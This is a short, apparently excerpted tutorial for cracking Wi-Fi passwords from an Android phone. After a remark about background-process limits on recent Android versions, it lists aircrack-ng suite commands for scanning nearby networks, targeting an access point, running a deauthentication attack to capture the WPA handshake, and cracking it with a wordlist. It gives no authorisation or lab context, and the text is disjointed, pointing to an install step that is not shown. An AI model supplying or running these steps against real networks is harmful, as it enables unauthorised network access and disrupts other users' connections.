Google has tightened security. Modern Android versions (12, 13, 14) restrict background processes. This affects long-running scans.

Wait 20-30 minutes. Once complete, launch it:

airodump-ng wlan0mon # List nearby networks # Target a specific AP: airodump-ng --bssid [MAC] --channel [CH] -w capture wlan0mon # Deauth attack to capture handshake: aireplay-ng --deauth 10 -a [MAC] wlan0mon # Crack the handshake: aircrack-ng -w /sdcard/passwords.txt capture-01.cap